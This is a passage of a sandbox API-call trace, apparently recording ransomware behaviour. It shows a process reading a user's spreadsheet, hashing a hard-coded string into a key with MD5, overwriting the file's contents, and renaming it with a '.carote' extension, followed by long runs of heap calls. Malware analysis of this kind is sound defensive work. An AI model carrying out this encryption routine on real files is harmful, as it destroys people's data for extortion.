cFileName="xIlUh2wKNE.xlsx", cAlternateFileName="XILUH2~1.XLS")) returned 1 [0112.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0112.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.635] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\xIlUh2wKNE.xlsx") returned=".xlsx" [0112.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\xIlUh2wKNE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\xiluh2wkne.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.636] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=17404) returned 1 [0112.636] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.638] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x43d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.638] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.639] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.639] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x43fc, lpOverlapped=0x0) returned 1 [0112.640] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.640] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.640] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.640] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.641] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.641] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.641] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.641] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.641] GetLastError () returned 0x0 [0112.641] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.641] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x4400) returned 0x7b182e0 [0112.641] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.641] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x43f7, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x43f7, lpOverlapped=0x0) returned 1 [0112.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.641] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x43fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.642] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.642] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.642] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.642] CloseHandle (hObject=0x61c) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0112.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0112.643] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\xIlUh2wKNE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\xiluh2wkne.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\xIlUh2wKNE.xlsx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m8ml-6lnm1 wulcs0yd\\xiluh2wkne.xlsx.carote")) returned 1 [0112.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.643] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0112.644] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a7ae50, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0xa27e2390, ftLastAccessTime.dwHighDateTime=0x1d4c661, ftLastWriteTime.dwLowDateTime=0xa27e2390, ftLastWriteTime.dwHighDateTime=0x1d4c661, nFileSizeHigh=0x0, nFileSizeLow=0x43fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xIlUh2wKNE.xlsx", cAlternateFileName="XILUH2~1.XLS")) returned 0 [0112.644] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.644] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.644] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: 